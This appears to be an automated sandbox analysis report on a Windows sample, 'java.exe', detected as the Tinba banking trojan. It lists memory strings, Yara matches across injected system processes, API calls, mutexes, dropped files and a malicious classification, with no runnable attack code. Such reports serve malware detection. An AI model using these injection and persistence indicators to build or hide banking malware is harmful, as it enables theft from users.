Source: explorer.exe, 00000003.00000002.3059382822.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1638855988.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000003.00000000.1638855988.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3059382822.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2905023866.000001B98144E000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1728659205.000001B98144E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000003.00000002.2985052008.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000003.00000000.1634162143.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: SearchApp.exe, 0000000B.00000000.1829269370.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/finance?OCID=WSB_TL_FN&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1829269370.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqshttps://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbm
Source: SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbmsnqs
Source: SearchApp.exe, 0000000B.00000000.1829269370.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1797450893.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/weather?OCID=WSB_QS_WE&PC=wsbmsnqs
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: SearchApp.exe, 0000000B.00000000.1771563723.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.ng.com
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000003.00000002.2985052008.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1634162143.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1771563723.0000024B4248E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com
Source: svchost.exe, 00000005.00000002.2922265482.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xsts.auth.xboxlive.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49730 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Tinba Banker

Source: Yara match	File source: Process Memory Space: java.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winver.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ctfmon.exe PID: 3832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: StartMenuExperienceHost.exe PID: 4660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 4872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SearchApp.exe PID: 4984, type: MEMORYSTR

E-Banking Fraud

Yara detected Tinba Banker

Source: Yara match	File source: Process Memory Space: java.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winver.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ctfmon.exe PID: 3832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: StartMenuExperienceHost.exe PID: 4660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 4872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SearchApp.exe PID: 4984, type: MEMORYSTR

Source: C:\Windows\explorer.exe	Code function: 3_2_01342270 NtQueryDirectoryFile,	3_2_01342270
Source: C:\Windows\explorer.exe	Code function: 3_2_01341EE1 NtCreateUserProcess,	3_2_01341EE1
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC21D1 NtEnumerateValueKey,	4_2_00AC21D1

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02230005	0_2_02230005
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02231845	0_2_02231845
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02230EA9	0_2_02230EA9
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_03391821	2_2_03391821
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_03390E85	2_2_03390E85
Source: C:\Windows\explorer.exe	Code function: 3_2_01341821	3_2_01341821
Source: C:\Windows\explorer.exe	Code function: 3_2_01340E85	3_2_01340E85
Source: C:\Windows\explorer.exe	Code function: 3_2_01371821	3_2_01371821
Source: C:\Windows\explorer.exe	Code function: 3_2_01370E85	3_2_01370E85
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0E85	4_2_00AC0E85
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC1821	4_2_00AC1821
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910E85	5_2_00910E85
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00911821	5_2_00911821
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0E85	6_2_009A0E85
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A1821	6_2_009A1821
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50E85	7_2_00A50E85
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A51821	7_2_00A51821
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40E85	8_2_00D40E85
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D41821	8_2_00D41821
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50E85	9_2_00B50E85
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B51821	9_2_00B51821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00111821	10_2_00111821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110E85	10_2_00110E85
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_001C1821	13_2_001C1821
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_001C0E85	13_2_001C0E85
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_02300005	13_2_02300005
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_02300EA9	13_2_02300EA9
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0E85	15_2_00AB0E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB1821	15_2_00AB1821
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00291821	16_2_00291821
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00290E85	16_2_00290E85
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 19_2_00581821	19_2_00581821
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 19_2_00580E85	19_2_00580E85
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 20_2_001C1821	20_2_001C1821
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 20_2_001C0E85	20_2_001C0E85
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 20_2_022A0005	20_2_022A0005
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 20_2_022A0EA9	20_2_022A0EA9
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 22_2_003D1821	22_2_003D1821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 22_2_003D0E85	22_2_003D0E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00900E85	23_2_00900E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00901821	23_2_00901821
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00181821	24_2_00181821
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00180E85	24_2_00180E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00191821	26_2_00191821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00190E85	26_2_00190E85
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00011821	28_2_00011821
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00010E85	28_2_00010E85
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000D1821	29_2_000D1821
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000D0E85	29_2_000D0E85
Source: C:\Windows\System32\dllhost.exe	Code function: 30_2_00261821	30_2_00261821
Source: C:\Windows\System32\dllhost.exe	Code function: 30_2_00260E85	30_2_00260E85
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 31_2_04D80E85	31_2_04D80E85
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 31_2_04D81821	31_2_04D81821
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_00880E85	32_2_00880E85
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_00881821	32_2_00881821
Source: C:\Windows\System32\conhost.exe	Code function: 33_2_00900E85	33_2_00900E85
Source: C:\Windows\System32\conhost.exe	Code function: 33_2_00901821	33_2_00901821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 35_2_00890E85	35_2_00890E85
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 35_2_00891821	35_2_00891821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 36_2_00031821	36_2_00031821
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 36_2_00030E85	36_2_00030E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 37_2_01531821	37_2_01531821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 37_2_01530E85	37_2_01530E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 38_2_02771821	38_2_02771821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 38_2_02770E85	38_2_02770E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 39_2_00B80E85	39_2_00B80E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 39_2_00B81821	39_2_00B81821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 40_2_008B0E85	40_2_008B0E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 40_2_008B1821	40_2_008B1821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 41_2_00B50E85	41_2_00B50E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 41_2_00B51821	41_2_00B51821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 42_2_02EB0E85	42_2_02EB0E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 42_2_02EB1821	42_2_02EB1821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 43_2_02D10E85	43_2_02D10E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 43_2_02D11821	43_2_02D11821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 44_2_02B40E85	44_2_02B40E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 44_2_02B41821	44_2_02B41821
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 45_2_02E20E85	45_2_02E20E85
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 45_2_02E21821	45_2_02E21821

Source: C:\Windows\System32\conhost.exe	Code function: String function: 00883653 appears 35 times
Source: C:\Windows\System32\conhost.exe	Code function: String function: 00903653 appears 35 times
Source: C:\Windows\SysWOW64\winver.exe	Code function: String function: 03393653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00913653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 009A3653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00D43653 appears 35 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 000D3653 appears 35 times
Source: C:\Windows\System32\ctfmon.exe	Code function: String function: 00A53653 appears 35 times
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: String function: 02303677 appears 34 times
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: String function: 001C3653 appears 70 times
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: String function: 022A3677 appears 34 times
Source: C:\Windows\explorer.exe	Code function: String function: 01373653 appears 35 times
Source: C:\Windows\explorer.exe	Code function: String function: 01343653 appears 34 times
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: String function: 00183653 appears 35 times
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: String function: 00013653 appears 35 times
Source: C:\Windows\System32\smartscreen.exe	Code function: String function: 00293653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 00B83653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 02EB3653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 01533653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 02D13653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 008B3653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 02E23653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 02B43653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 02773653 appears 35 times
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: String function: 00B53653 appears 35 times
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: String function: 00B53653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00193653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 003D3653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00113653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00903653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00AB3653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00893653 appears 35 times
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: String function: 00033653 appears 35 times
Source: C:\Windows\System32\sihost.exe	Code function: String function: 00AC3653 appears 35 times
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: String function: 00583653 appears 35 times
Source: C:\Windows\SysWOW64\cscript.exe	Code function: String function: 04D83653 appears 35 times
Source: C:\Windows\System32\dllhost.exe	Code function: String function: 00263653 appears 35 times
Source: C:\Users\user\Desktop\java.exe	Code function: String function: 02233677 appears 34 times

Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Section loaded: nss3.dll	Jump to behavior

Source: java.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.bank.expl.evad.winEXE@10/10@9/3

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02230005 ExitProcess,GetProcAddress,IsWow64Process,GetModuleHandleW,GetStartupInfoA,ReadFile,WriteFile,SetFilePointer,CloseHandle,CreateToolhelp32Snapshot,Process32Next,OpenProcess,VirtualFree,VirtualAllocEx,CreateMutexA,

0_2_02230005

Source: C:\Windows\SysWOW64\winver.exe

File created: C:\Users\user\AppData\Local\Packages\windows_ie_ac_001\AC\0C0BC82C

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7936:120:WilError_03
Source: C:\Windows\SysWOW64\winver.exe	Mutant created: \Sessions\1\BaseNamedObjects\0C0BC82C

Source: C:\Windows\explorer.exe

File read: C:\Users\user\Searches\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\java.exe

